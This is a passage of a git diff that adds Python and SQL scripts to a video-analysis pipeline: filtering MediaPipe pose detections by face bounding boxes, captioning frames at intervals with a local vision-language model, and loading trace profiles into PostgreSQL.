os.makedirs(os.path.dirname(output_path), exist_ok=True) + with open(output_path, 'w') as f: + json.dump(output, f, indent=2) + + print(f"Filter complete (threshold: {threshold}px)") + print(f" Total poses: {total_poses}") + print(f" Matched (kept): {matched_poses} ({matched_poses/max(1,total_poses)*100:.1f}%)") + print(f" Filtered out: {filtered_poses} ({filtered_poses/max(1,total_poses)*100:.1f}%)") + print(f" Output frames: {len(filtered_frames)}") + print(f" Saved to: {output_path}") + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument('--uuid', required=True) + parser.add_argument('--threshold', type=float, default=100.0) + parser.add_argument('--output-dir', default=None) + args = parser.parse_args() + + output_dir = args.output_dir or os.environ.get('MOMENTRY_OUTPUT_DIR', '/Users/accusys/momentry/output') + face_path = os.path.join(output_dir, f'{args.uuid}.face.json') + pose_path = os.path.join(output_dir, f'{args.uuid}.pose.json') + output_path = os.path.join(output_dir, f'{args.uuid}.pose_filtered.json') + + if not os.path.exists(face_path): + print(f"Error: face.json not found: {face_path}") + exit(1) + if not os.path.exists(pose_path): + print(f"Error: pose.json not found: {pose_path}") + exit(1) + + filter_pose_by_face(face_path, pose_path, output_path, args.threshold) diff --git a/scripts/filter_poses_by_face.py b/scripts/filter_poses_by_face.py new file mode 100644 index 0000000..fbc5b05 --- /dev/null +++ b/scripts/filter_poses_by_face.py @@ -0,0 +1,189 @@ +#!/opt/homebrew/bin/python3.11 +""" +Filter Poses by Face Alignment + +Removes pose detections where face keypoints (nose, left_eye, right_eye) +do not all fall within a corresponding face bbox. + +Usage: + python3 scripts/filter_poses_by_face.py --file-uuid [--output-dir /path/to/output] + +Output: + {uuid}.pose.cleaned.json - Filtered pose data + {uuid}.pose.stats.json - Statistics (removed, kept) +""" + +import argparse +import json +import sys +from pathlib import Path + + +def point_in_bbox(x: float, y: float, bbox: dict) -> bool: + """Check if point is inside bbox.""" + return ( + bbox['x'] <= x <= bbox['x'] + bbox['width'] and + bbox['y'] <= y <= bbox['y'] + bbox['height'] + ) + + +def face_keypoints_in_bbox(keypoints: list, bbox: dict) -> bool: + """Check if nose, left_eye, right_eye are all in bbox.""" + required = {'nose', 'left_eye', 'right_eye'} + kp_dict = {kp['name']: kp for kp in keypoints if kp['name'] in required} + + if len(kp_dict) < 3: + return False + + for name in required: + kp = kp_dict[name] + if not point_in_bbox(kp['x'], kp['y'], bbox): + return False + + return True + + +def filter_poses(face_data: dict, pose_data: dict) -> tuple: + """ + Filter poses based on face alignment. + + Returns: + (cleaned_pose_data, stats) + """ + frames_map = {} + + # Build frame -> faces mapping from face_traced.json + frames = face_data.get('frames', {}) + if isinstance(frames, dict): + # Dict format: {"frame_num": {...}} + for frame_num, frame_data in frames.items(): + faces = frame_data.get('faces', []) + bboxes = [] + for f in faces: + if 'bbox' in f: + bboxes.append(f['bbox']) + else: + bboxes.append({'x': f.get('x', 0), 'y': f.get('y', 0), + 'width': f.get('width', 0), 'height': f.get('height', 0)}) + frames_map[int(frame_num)] = bboxes + elif isinstance(frames, list): + # List format + for frame_data in frames: + frame_num = frame_data.get('frame', frame_data.get('frame_number', 0)) + faces = frame_data.get('faces', []) + bboxes = [] + for f in faces: + if 'bbox' in f: + bboxes.append(f['bbox']) + else: + bboxes.append({'x': f.get('x', 0), 'y': f.get('y', 0), + 'width': f.get('width', 0), 'height': f.get('height', 0)}) + frames_map[frame_num] = bboxes + + print(f"[pose_filter] Loaded {len(frames_map)} frames with face data") + + # Filter poses + cleaned_frames = [] + total_poses = 0 + removed_poses = 0 + + for frame in pose_data.get('frames', []): + frame_num = frame.get('frame', frame.get('frame_number', 0)) + face_bboxes = frames_map.get(frame_num, []) + + kept_persons = [] + for person in frame.get('persons', []): + total_poses += 1 + keypoints = person.get('keypoints', []) + + # Check if aligned with any face bbox + aligned = any( + face_keypoints_in_bbox(keypoints, bbox) + for bbox in face_bboxes + ) if face_bboxes else False + + if aligned: + kept_persons.append(person) + else: + removed_poses += 1 + + if kept_persons: + cleaned_frames.append({ + **frame, + 'persons': kept_persons, + }) + + cleaned = { + **pose_data, + 'frames': cleaned_frames, + 'frame_count': len(cleaned_frames), + } + + stats = { + 'total_poses': total_poses, + 'kept_poses': total_poses - removed_poses, + 'removed_poses': removed_poses, + 'removal_rate': f"{removed_poses / total_poses * 100:.1f}%" if total_poses > 0 else "0%", + 'frames_with_faces': len(frames_map), + 'frames_kept': len(cleaned_frames), + } + + return cleaned, stats + + +def main(): + parser = argparse.ArgumentParser(description="Filter poses by face alignment") + parser.add_argument('--file-uuid', '-u', required=True, help="File UUID") + parser.add_argument('--output-dir', '-o', default='/Users/accusys/momentry/output', help="Output directory") + args = parser.parse_args() + + output_path = Path(args.output_dir) + + # Load face data + face_path = output_path / f"{args.file_uuid}.face_traced.json" + if not face_path.exists(): + print(f"[pose_filter] Face file not found: {face_path}", file=sys.stderr) + sys.exit(1) + + print(f"[pose_filter] Loading {face_path.name}...") + with open(face_path) as f: + face_data = json.load(f) + + # Load pose data + pose_path = output_path / f"{args.file_uuid}.pose.json" + if not pose_path.exists(): + print(f"[pose_filter] Pose file not found: {pose_path}", file=sys.stderr) + sys.exit(1) + + print(f"[pose_filter] Loading {pose_path.name}...") + with open(pose_path) as f: + pose_data = json.load(f) + + print(f"[pose_filter] Pose frames: {len(pose_data.get('frames', []))}") + + # Filter + print(f"[pose_filter] Filtering poses...") + cleaned, stats = filter_poses(face_data, pose_data) + + # Save cleaned pose + cleaned_path = output_path / f"{args.file_uuid}.pose.cleaned.json" + with open(cleaned_path, 'w') as f: + json.dump(cleaned, f) + print(f"[pose_filter] Saved: {cleaned_path}") + + # Save stats + stats_path = output_path / f"{args.file_uuid}.pose.stats.json" + with open(stats_path, 'w') as f: + json.dump(stats, f, indent=2) + print(f"[pose_filter] Stats: {stats_path}") + + # Print summary + print(f"\n[pose_filter] === SUMMARY ===") + print(f" Total poses: {stats['total_poses']}") + print(f" Kept poses: {stats['kept_poses']}") + print(f" Removed poses: {stats['removed_poses']} ({stats['removal_rate']})") + print(f" Frames kept: {stats['frames_kept']}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/fix_stale_processing.sql b/scripts/fix_stale_processing.sql new file mode 100644 index 0000000..802055d --- /dev/null +++ b/scripts/fix_stale_processing.sql @@ -0,0 +1,22 @@ +-- Fix stale_processing files: status='processing' but job_id IS NULL +-- These files should be reset to 'pending' so they can be processed properly + +-- Show current state +SELECT file_uuid, file_name, status, job_id +FROM videos +WHERE status = 'processing' AND job_id IS NULL; + +-- Fix: Reset to pending +UPDATE videos +SET status = 'pending', processing_status = NULL +WHERE status = 'processing' AND job_id IS NULL; + +-- Verify fix +SELECT file_uuid, file_name, status, job_id +FROM videos +WHERE file_uuid IN ( + '5e207a246fd6a2a65ee0a267440465ee', + '9cbeb112fcc5452e869755a539478061', + 'bfba056f5021e2404b0870cc0b1fa851', + '2d0ec3a72d5dda98b10b3eb777650846' +); diff --git a/scripts/hand_processor.py b/scripts/hand_processor.py index a63204c..748b016 100644 --- a/scripts/hand_processor.py +++ b/scripts/hand_processor.py @@ -86,6 +86,7 @@ if __name__ == "__main__": parser.add_argument("output_path") parser.add_argument("--uuid", "-u", default="") parser.add_argument("--sample-interval", type=int, default=3) + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) args = parser.parse_args() publisher = RedisPublisher(args.uuid) if args.uuid else None diff --git a/scripts/interval_vlm_caption.py b/scripts/interval_vlm_caption.py new file mode 100644 index 0000000..7804f6f --- /dev/null +++ b/scripts/interval_vlm_caption.py @@ -0,0 +1,303 @@ +#!/opt/homebrew/bin/python3.11 +""" +Interval VLM Caption - Analyze video at regular intervals (10s default) + +Extracts frames on-the-fly with ffmpeg (no pre-storage) and analyzes with VLM. +Runs in background, non-blocking. + +Usage: + python interval_vlm_caption.py --file-uuid abc123 --video /path/to/video.mp4 + python interval_vlm_caption.py --file-uuid abc123 --video /path/to/video.mp4 --interval 10 + +Output: + {output_dir}/{uuid}_interval_profile.json +""" + +import argparse +import base64 +import json +import os +import subprocess +import sys +import tempfile +import time +from pathlib import Path + +try: + import requests +except ImportError: + print("requests not installed: pip install requests", file=sys.stderr) + sys.exit(1) + + +def get_video_duration(video_path: str) -> float: + """Get video duration in seconds using ffprobe.""" + cmd = [ + "ffprobe", "-v", "quiet", + "-show_entries", "format=duration", + "-of", "json", + video_path + ] + + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + return 0.0 + + data = json.loads(result.stdout) + return float(data["format"]["duration"]) + + +def extract_frame_at_time(video_path: str, timestamp_sec: float, output_path: str) -> bool: + """Extract a single frame at specific timestamp.""" + cmd = [ + "ffmpeg", "-y", "-v", "quiet", + "-ss", str(timestamp_sec), + "-i", video_path, + "-vframes", "1", + "-q:v", "2", + output_path + ] + + result = subprocess.run(cmd, capture_output=True) + return result.returncode == 0 + + +def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str: + """Call Ollama VLM API.""" + with open(image_path, "rb") as f: + image_b64 = base64.b64encode(f.read()).decode("utf-8") + + payload = { + "model": model, + "prompt": prompt, + "images": [image_b64], + "stream": False, + "options": {"num_predict": 100} + } + + try: + resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30) + resp.raise_for_status() + data = resp.json() + return data.get("response", "").strip() + except Exception as e: + print(f"[vlm] API error: {e}", file=sys.stderr) + return "" + + +def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list: + """Get embedding from Ollama.""" + try: + resp = requests.post( + f"{ollama_url}/api/embed", + json={"model": model, "input": text}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + return data.get("embeddings", [[]])[0] + except Exception as e: + print(f"[vlm] Embedding error: {e}", file=sys.stderr) + return [] + + +def store_to_qdrant(analysis: dict, file_uuid: str, interval_index: int, timestamp_sec: float, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool: + """Store VLM results to Qdrant _vlm collection.""" + description = analysis.get("vlm_description", "") + if not description: + return False + + # Get embedding + embedding = get_embedding(description) + if not embedding: + print(f"[vlm] Failed to get embedding for interval_{interval_index}", file=sys.stderr) + return False + + # Generate point ID + import hashlib + point_id = int(hashlib.md5(f"{file_uuid}_interval_{interval_index}".encode()).hexdigest()[:16], 16) + + # Build payload + payload = { + "type": "interval", + "file_uuid": file_uuid, + "interval_index": interval_index, + "timestamp_sec": timestamp_sec, + **analysis, + } + + # Upsert to Qdrant + try: + headers = {} + if qdrant_api_key: + headers["api-key"] = qdrant_api_key + + resp = requests.put( + f"{qdrant_url}/collections/_vlm/points?wait=true", + json={ + "points": [{ + "id": point_id, + "vector": embedding, + "payload": payload, + }] + }, + headers=headers, + timeout=30, + ) + resp.raise_for_status() + print(f"[vlm] Stored to Qdrant: interval_{interval_index}") + return True + except Exception as e: + print(f"[vlm] Qdrant error: {e}", file=sys.stderr) + return False + + +def analyze_frame(image_path: str, model: str = "llava:7b") -> dict: + """Analyze a single frame with VLM - scene/background focus.""" + # Prompt 1: Scene description (concise) + desc_prompt = "Describe this scene in one sentence. Focus on: location, main activity, visible objects. If unclear, say 'unclear'. Do not guess." + description = call_vlm(image_path, desc_prompt, model) + + # Prompt 2: Classification (JSON) + class_prompt = "Classify the scene. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\", \"lighting\": \"day/night/indoor-light/mixed/unknown\"}. Use 'unknown' if uncertain." + class_raw = call_vlm(image_path, class_prompt, model) + + class_data = {} + try: + class_clean = class_raw.replace("```json", "").replace("```", "").strip() + class_data = json.loads(class_clean) + except: + class_data = {} + + # Prompt 3: People count + people_prompt = "How many people? Answer a number or 'unclear'." + people_count = call_vlm(image_path, people_prompt, model).strip() + + # Prompt 4: Tags + tags_prompt = "List 3 tags for this scene, comma-separated. Examples: office, street, crowd, nature." + tags_raw = call_vlm(image_path, tags_prompt, model) + tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:3] + + return { + "vlm_description": description, + "vlm_location": class_data.get("location", "unknown"), + "vlm_setting": class_data.get("setting", "unknown"), + "vlm_lighting": class_data.get("lighting", "unknown"), + "vlm_people_count": people_count, + "vlm_tags": tags, + } + + +def analyze_intervals( + file_uuid: str, + video_path: str, + interval_sec: float = 10.0, + output_dir: str = "/Users/accusys/momentry/output", + model: str = "llava:7b", + store_qdrant: bool = True, +) -> dict: + """ + Analyze video at regular intervals. + + Returns: + Summary dict with all interval analyses + """ + # Get video duration + duration = get_video_duration(video_path) + if duration <= 0: + print(f"[vlm] Cannot get video duration: {video_path}", file=sys.stderr) + return {"error": "Cannot get duration"} + + print(f"[vlm] Video: {duration:.1f}s, interval: {interval_sec}s") + + # Calculate timestamps + timestamps = [] + t = 0.0 + while t < duration: + timestamps.append(t) + t += interval_sec + + print(f"[vlm] Total frames to analyze: {len(timestamps)}") + + results = [] + qdrant_api_key = os.environ.get("QDRANT_API_KEY") + + # Create temp directory for frames + with tempfile.TemporaryDirectory() as tmpdir: + for i, ts in enumerate(timestamps): + frame_path = f"{tmpdir}/frame_{i:04d}.jpg" + + # Extract frame + success = extract_frame_at_time(video_path, ts, frame_path) + if not success: + print(f"[vlm] Failed to extract frame at {ts:.1f}s", file=sys.stderr) + continue + + # Analyze + print(f"[vlm] [{i+1}/{len(timestamps)}] {ts:.1f}s...", end=" ", flush=True) + start_time = time.time() + + analysis = analyze_frame(frame_path, model) + + # Store to Qdrant + if store_qdrant: + store_to_qdrant(analysis, file_uuid, i, ts, qdrant_api_key=qdrant_api_key) + + elapsed = time.time() - start_time + print(f"done ({elapsed:.1f}s)") + + results.append({ + "interval_index": i, + "timestamp_sec": round(ts, 1), + **analysis, + }) + + # Save profile + profile = { + "file_uuid": file_uuid, + "video_duration_sec": round(duration, 1), + "interval_sec": interval_sec, + "total_intervals": len(timestamps), + "analyzed": len(results), + "model": model, + "intervals": results, + } + + output_path = Path(output_dir) + output_path.mkdir(parents=True, exist_ok=True) + + profile_path = output_path / f"{file_uuid}_interval_profile.json" + with open(profile_path, "w") as f: + json.dump(profile, f, indent=2) + + print(f"[vlm] Saved: {profile_path}") + + return profile + + +def main(): + parser = argparse.ArgumentParser(description="VLM analysis at regular intervals") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--video", "-v", required=True, help="Video file path") + parser.add_argument("--interval", "-i", type=float, default=10.0, help="Interval in seconds (default: 10)") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name") + parser.add_argument("--json", "-j", action="store_true", help="Output as JSON") + args = parser.parse_args() + + result = analyze_intervals( + args.file_uuid, + args.video, + args.interval, + args.output_dir, + args.model, + ) + + if args.json: + print(json.dumps(result, indent=2)) + else: + print(f"Analyzed {result.get('analyzed', 0)} intervals") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/load_trace_profiles.py b/scripts/load_trace_profiles.py new file mode 100644 index 0000000..963e305 --- /dev/null +++ b/scripts/load_trace_profiles.py @@ -0,0 +1,257 @@ +#!/usr/bin/env python3 +""" +Load trace_profile.json files into PostgreSQL trace_profiles table. + +Usage: + python3 scripts/load_trace_profiles.py [--output-dir OUTPUT_DIR] [--dry-run] +""" + +import argparse +import json +import os +import sys +from pathlib import Path + +import psycopg2 +from psycopg2.extras import execute_values + + +def get_db_connection(): + """Get PostgreSQL connection.""" + database_url = os.environ.get( + "DATABASE_URL", "postgresql://accusys@localhost:5432/momentry" + ) + return psycopg2.connect(database_url) + + +def parse_trace_profile(json_path: Path) -> dict | None: + """Parse trace_profile.json and extract relevant fields.""" + try: + with open(json_path, "r", encoding="utf-8") as f: + data = json.load(f) + except Exception as e: + print(f" [ERROR] Failed to read {json_path}: {e}") + return None + + # Extract file_uuid and trace_id from path + parts = json_path.parts + file_uuid = None + trace_id = None + + for i, part in enumerate(parts): + if part.startswith("trace_"): + trace_id = int(part.replace("trace_", "")) + if i > 0: + file_uuid = parts[i - 1] + break + + if not file_uuid or trace_id is None: + print(f" [WARN] Cannot extract file_uuid/trace_id from {json_path}") + return None + + return { + "file_uuid": file_uuid, + "trace_id": trace_id, + "name": data.get("label") or data.get("name"), + "start_frame": data.get("start_frame"), + "end_frame": data.get("end_frame"), + "frame_count": data.get("frame_count"), + "key_frame": data.get("key_frame"), + "status": data.get("status", "pending"), + "avg_confidence": data.get("avg_confidence"), + "vlm_description": data.get("vlm_description"), + "vlm_clothing": data.get("vlm_clothing"), + "vlm_tags": data.get("vlm_tags", []), + "vlm_location": data.get("vlm_location"), + "vlm_setting": data.get("vlm_setting"), + "vlm_lighting": data.get("vlm_lighting"), + "vlm_weather": data.get("vlm_weather"), + "vlm_hand_objects": data.get("vlm_hand_objects"), + "vlm_has_plants": data.get("vlm_has_plants"), + "vlm_has_animals": data.get("vlm_has_animals"), + "vlm_background": data.get("vlm_background"), + "vlm_bg_tags": data.get("vlm_bg_tags", []), + "vlm_model": data.get("vlm_model"), + } + + +def insert_trace_profiles(conn, profiles: list[dict], dry_run: bool = False): + """Insert trace profiles into PostgreSQL.""" + if not profiles: + print("No profiles to insert") + return 0 + + schema = os.environ.get("DATABASE_SCHEMA", "public") + table = f"{schema}.trace_profiles" if schema != "public" else "trace_profiles" + + sql = f""" + INSERT INTO {table} ( + file_uuid, trace_id, name, start_frame, end_frame, frame_count, + key_frame, status, avg_confidence, + vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting, + vlm_lighting, vlm_weather, vlm_hand_objects, vlm_has_plants, vlm_has_animals, + vlm_background, vlm_bg_tags, vlm_model + ) VALUES %s + ON CONFLICT (file_uuid, trace_id) DO UPDATE SET + name = EXCLUDED.name, + start_frame = EXCLUDED.start_frame, + end_frame = EXCLUDED.end_frame, + frame_count = EXCLUDED.frame_count, + key_frame = EXCLUDED.key_frame, + status = EXCLUDED.status, + avg_confidence = EXCLUDED.avg_confidence, + vlm_description = EXCLUDED.vlm_description, + vlm_clothing = EXCLUDED.vlm_clothing, + vlm_tags = EXCLUDED.vlm_tags, + vlm_location = EXCLUDED.vlm_location, + vlm_setting = EXCLUDED.vlm_setting, + vlm_lighting = EXCLUDED.vlm_lighting, + vlm_weather = EXCLUDED.vlm_weather, + vlm_hand_objects = EXCLUDED.vlm_hand_objects, + vlm_has_plants = EXCLUDED.vlm_has_plants, + vlm_has_animals = EXCLUDED.vlm_has_animals, + vlm_background = EXCLUDED.vlm_background, + vlm_bg_tags = EXCLUDED.vlm_bg_tags, + vlm_model = EXCLUDED.vlm_model, + updated_at = NOW() + """ + + if dry_run: + print(f"[DRY-RUN] Would insert {len(profiles)} profiles") + return len(profiles) + + cursor = conn.cursor() + + # Prepare values + values = [ + ( + p["file_uuid"], + p["trace_id"], + p["name"], + p["start_frame"], + p["end_frame"], + p["frame_count"], + p["key_frame"], + p["status"], + p["avg_confidence"], + p["vlm_description"], + p["vlm_clothing"], + p["vlm_tags"], + p["vlm_location"], + p["vlm_setting"], + p["vlm_lighting"], + p["vlm_weather"], + p["vlm_hand_objects"], + p["vlm_has_plants"], + p["vlm_has_animals"], + p["vlm_background"], + p["vlm_bg_tags"], + p["vlm_model"], + ) + for p in profiles + ] + + execute_values(cursor, sql, values) + conn.commit() + cursor.close() + + return len(profiles) + + +def main(): + parser = argparse.ArgumentParser(description="Load trace profiles into PostgreSQL") + parser.add_argument( + "--output-dir", + default="/Users/accusys/momentry/output", + help="Output directory containing trace_profile.json files", + ) + parser.add_argument( + "--dry-run", + action="store_true", + help="Don't actually insert, just show what would be done", + ) + parser.add_argument( + "--batch-size", + type=int, + default=100, + help="Batch size for inserts", + ) + args = parser.parse_args() + + output_dir = Path(args.output_dir) + if not output_dir.exists(): + print(f"Error: Output directory {output_dir} does not exist") + sys.exit(1) + + # Find all trace_profile.json files + print(f"Scanning {output_dir} for trace_profile.json files...") + trace_profiles = list(output_dir.glob("*/trace_*/trace_profile.json")) + print(f"Found {len(trace_profiles)} trace_profile.json files") + + if not trace_profiles: + print("No trace_profile.json files found") + sys.exit(0) + + # Parse profiles + print("\nParsing trace profiles...") + profiles = [] + for i, json_path in enumerate(trace_profiles): + if (i + 1) % 500 == 0: + print(f" Parsed {i + 1}/{len(trace_profiles)} files...") + + profile = parse_trace_profile(json_path) + if profile: + profiles.append(profile) + + print(f"Successfully parsed {len(profiles)} profiles") + + # Filter profiles with VLM data + vlm_profiles = [ + p + for p in profiles + if p.get("vlm_description") or p.get("vlm_clothing") or p.get("vlm_tags") + ] + print(f"Profiles with VLM data: {len(vlm_profiles)}") + + # Insert into PostgreSQL + if not args.dry_run: + print("\nConnecting to PostgreSQL...") + conn = get_db_connection() + else: + conn = None + print("\n[DRY-RUN] Skipping database connection") + + # Insert in batches + batch_size = args.batch_size + total_inserted = 0 + + for i in range(0, len(profiles), batch_size): + batch = profiles[i : i + batch_size] + if conn: + inserted = insert_trace_profiles(conn, batch, args.dry_run) + total_inserted += inserted + if (i // batch_size + 1) % 10 == 0: + print( + f" Inserted batch {i // batch_size + 1} ({len(batch)} profiles)" + ) + else: + total_inserted += len(batch) + + if conn: + conn.close() + + print(f"\n✅ Done! Inserted {total_inserted} trace profiles") + + # Show sample + if vlm_profiles: + print("\nSample VLM profile:") + sample = vlm_profiles[0] + print(f" file_uuid: {sample['file_uuid']}") + print(f" trace_id: {sample['trace_id']}") + print(f" name: {sample['name']}") + print(f" vlm_description: {sample.get('vlm_description', '')[:100]}...") + print(f" vlm_tags: {sample.get('vlm_tags', [])[:5]}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/mediapipe_pose_aligned.py b/scripts/mediapipe_pose_aligned.py new file mode 100644 index 0000000..9d3e213 --- /dev/null +++ b/scripts/mediapipe_pose_aligned.py @@ -0,0 +1,246 @@ +#!/opt/homebrew/bin/python3.11 +""" +MediaPipe Pose with Face Frame Alignment + +1. Load frames with faces from Apple Vision face_traced.json +2. Run MediaPipe pose only on those frames +3. Filter poses aligned with face bboxes + +Usage: + python3 scripts/mediapipe_pose_aligned.py --video /path/to/video.mp4 --file-uuid --output-dir /path/to/output + +Output: + {uuid}.pose.mediapipe.aligned.json +""" + +import argparse +import json +import os +import sys +import time +from pathlib import Path + +try: + import cv2 + import mediapipe as mp + import numpy as np + from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions + from mediapipe.tasks.python.core.base_options import BaseOptions +except ImportError as e: + print(f"Missing dependency: {e}", file=sys.stderr) + sys.exit(1) + + +LANDMARK_NAMES = [ + "nose", "left_eye_inner", "left_eye", "left_eye_outer", + "right_eye_inner", "right_eye", "right_eye_outer", + "left_ear", "right_ear", "mouth_left", "mouth_right", + "left_shoulder", "right_shoulder", "left_elbow", "right_elbow", + "left_wrist", "right_wrist", "left_pinky", "right_pinky", + "left_index", "right_index", "left_thumb", "right_thumb", + "left_hip", "right_hip", "left_knee", "right_knee", + "left_ankle", "right_ankle", "left_heel", "right_heel", + "left_foot_index", "right_foot_index", +] + + +def point_in_bbox(x, y, bbox): + """Check if point is inside bbox.""" + return bbox['x'] <= x <= bbox['x'] + bbox['width'] and bbox['y'] <= y <= bbox['y'] + bbox['height'] + + +def face_keypoints_aligned(keypoints, face_bboxes): + """Check if nose, left_eye, right_eye all in same face bbox.""" + kp_dict = {kp['name']: kp for kp in keypoints} + + required = ['nose', 'left_eye', 'right_eye'] + if not all(k in kp_dict for k in required): + return False, None + + for bbox in face_bboxes: + all_in = all(point_in_bbox(kp_dict[k]['x'], kp_dict[k]['y'], bbox) for k in required) + if all_in: + return True, bbox + + return False, None + + +def process_video( + video_path: str, + face_json_path: str, + output_path: str, + file_uuid: str, +) -> dict: + """ + Process video with MediaPipe pose on frames with faces. + """ + # Load face data + print(f"[pose_aligned] Loading face data: {face_json_path}") + with open(face_json_path) as f: + face_data = json.load(f) + + face_frames = face_data.get('frames', {}) + print(f"[pose_aligned] Frames with faces: {len(face_frames)}") + + # Download model + model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task") + if not os.path.exists(model_path): + os.makedirs(os.path.dirname(model_path), exist_ok=True) + print(f"[pose_aligned] Downloading model...") + import urllib.request + url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task" + urllib.request.urlretrieve(url, model_path) + + # Initialize pose detector + options = PoseLandmarkerOptions( + base_options=BaseOptions(model_asset_path=model_path), + running_mode=mp.tasks.vision.RunningMode.VIDEO, + ) + detector = PoseLandmarker.create_from_options(options) + + # Open video + cap = cv2.VideoCapture(video_path) + if not cap.isOpened(): + print(f"[pose_aligned] Cannot open video", file=sys.stderr) + return {"error": "Cannot open video"} + + fps = cap.get(cv2.CAP_PROP_FPS) + total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) + width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) + height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) + + print(f"[pose_aligned] Video: {total_frames} frames, {fps:.2f} fps, {width}x{height}") + + frames_data = [] + total_poses = 0 + aligned_poses = 0 + + start_time = time.time() + + # Process only frames with faces + face_frame_nums = sorted(int(k) for k in face_frames.keys()) + + for i, frame_num in enumerate(face_frame_nums): + # Seek to frame + cap.set(cv2.CAP_PROP_POS_FRAMES, frame_num) + ret, frame = cap.read() + + if not ret: + continue + + # Get face bboxes for this frame + face_frame = face_frames[str(frame_num)] + face_bboxes = [] + for face in face_frame.get('faces', []): + face_bboxes.append({ + 'x': face['x'], 'y': face['y'], + 'width': face['width'], 'height': face['height'] + }) + + # Detect pose + rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_frame) + results = detector.detect_for_video(mp_image, int(frame_num * 1000 / fps)) + + if results.pose_landmarks: + persons = [] + + for pose_landmarks in results.pose_landmarks: + total_poses += 1 + + # Convert landmarks + keypoints = [] + for idx, landmark in enumerate(pose_landmarks): + name = LANDMARK_NAMES[idx] if idx < len(LANDMARK_NAMES) else f"landmark_{idx}" + kp = { + "name": name, + "x": landmark.x * width, + "y": landmark.y * height, + "z": landmark.z if hasattr(landmark, 'z') else 0, + "confidence": landmark.visibility if hasattr(landmark, 'visibility') else 1.0, + } + keypoints.append(kp) + + # Check alignment + aligned, matched_bbox = face_keypoints_aligned(keypoints, face_bboxes) + + if aligned: + aligned_poses += 1 + face_keypoints = [kp for kp in keypoints if kp['name'] in ['nose', 'left_eye', 'right_eye']] + + persons.append({ + "keypoints": keypoints, + "face_keypoints": face_keypoints, + "matched_face_bbox": matched_bbox, + }) + + if persons: + frames_data.append({ + "frame": frame_num, + "timestamp": frame_num / fps, + "persons": persons, + }) + + if (i + 1) % 500 == 0: + elapsed = time.time() - start_time + print(f"[pose_aligned] Processed {i+1}/{len(face_frame_nums)} frames, {aligned_poses} aligned poses ({elapsed:.1f}s)") + + cap.release() + detector.close() + + elapsed = time.time() - start_time + + # Build output + output = { + "file_uuid": file_uuid, + "processor": "mediapipe_pose_aligned", + "fps": fps, + "total_frames": total_frames, + "face_frames_processed": len(face_frame_nums), + "total_poses_detected": total_poses, + "aligned_poses": aligned_poses, + "alignment_rate": f"{aligned_poses / total_poses * 100:.1f}%" if total_poses > 0 else "0%", + "frames_with_aligned_pose": len(frames_data), + "elapsed_seconds": round(elapsed, 2), + "frames": frames_data, + } + + # Save + with open(output_path, "w") as f: + json.dump(output, f) + + print(f"\n[pose_aligned] Saved: {output_path}") + print(f"[pose_aligned] Total poses detected: {total_poses}") + print(f"[pose_aligned] Aligned poses: {aligned_poses} ({output['alignment_rate']})") + print(f"[pose_aligned] Frames with aligned pose: {len(frames_data)}") + print(f"[pose_aligned] Elapsed: {elapsed:.1f}s") + + return output + + +def main(): + parser = argparse.ArgumentParser(description="MediaPipe pose aligned with face frames") + parser.add_argument("--video", "-v", required=True, help="Video file path") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + args = parser.parse_args() + + output_path = Path(args.output_dir) + face_json = output_path / f"{args.file_uuid}.face_traced.json" + + if not face_json.exists(): + print(f"[pose_aligned] Face file not found: {face_json}", file=sys.stderr) + sys.exit(1) + + output_file = output_path / f"{args.file_uuid}.pose.mediapipe.aligned.json" + + result = process_video( + args.video, + str(face_json), + str(output_file), + args.file_uuid, + ) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/mediapipe_pose_processor.py b/scripts/mediapipe_pose_processor.py new file mode 100644 index 0000000..10578a2 --- /dev/null +++ b/scripts/mediapipe_pose_processor.py @@ -0,0 +1,219 @@ +#!/opt/homebrew/bin/python3.11 +""" +MediaPipe Pose Processor - Using MediaPipe Pose Landmarker + +Detects human pose with 33 keypoints, including face landmarks (nose, eyes). +Coordinates are normalized (0-1), converted to pixel coordinates. + +Usage: + python3 scripts/mediapipe_pose_processor.py --video /path/to/video.mp4 --file-uuid --output-dir /path/to/output + +Output: + {uuid}.pose.mediapipe.json +""" + +import argparse +import json +import os +import sys +import time +from pathlib import Path + +try: + import cv2 + import mediapipe as mp + import numpy as np + from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions + from mediapipe.tasks.python.core.base_options import BaseOptions +except ImportError as e: + print(f"Missing dependency: {e}", file=sys.stderr) + sys.exit(1) + + +# MediaPipe Pose landmark names (33 keypoints) +LANDMARK_NAMES = [ + "nose", "left_eye_inner", "left_eye", "left_eye_outer", + "right_eye_inner", "right_eye", "right_eye_outer", + "left_ear", "right_ear", "mouth_left", "mouth_right", + 